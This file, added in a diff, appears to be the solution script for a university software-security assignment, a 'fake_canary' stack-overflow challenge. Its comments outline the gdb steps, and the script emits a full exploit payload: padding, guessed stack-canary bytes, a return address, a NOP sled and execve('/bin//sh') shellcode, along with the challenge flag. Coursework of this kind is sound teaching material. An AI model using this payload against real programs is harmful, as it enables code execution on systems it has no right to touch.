Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh

@@ -0,0 +1,41 @@
+#!/bin/bash
+
+# flag{CANARY_IS_ALSO_AN_ISLAND}
+
+##### Exploit Creation Steps #####
+# Step 1: Locate address of 'int stack_canaries [10]' using gdb
+# Command: disas owerflow
+# -> 0x56559020
+##################################
+# Step 2: Print all 10 possible stack canaries in gdb
+# Command: x/10xw 0x56559020
+##################################
+# Step 3: Select only those canaries that do not contain a null byte
+##################################
+# Step 4: Combine Slide Rider with the selected stack canaries
+##################################
+
+############ Exploit ##############
+# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate.
+# Note: Only canaries without null bytes can be used due to the use of strcpy.
+case $(( RANDOM % 3 )) in
+    0)
+        printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70"
+        ;;
+    1)
+        printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b"
+        ;;
+    2)
+        printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08"
+        ;;
+esac
+
+# Step 2: Fill the buffer with a candidate return address
+printf "\x10\xd6\xff\xff%.0s" {1..30}
+
+# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode
+printf "\x90%.0s" {1..2000}
+
+# Step 4: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+###################################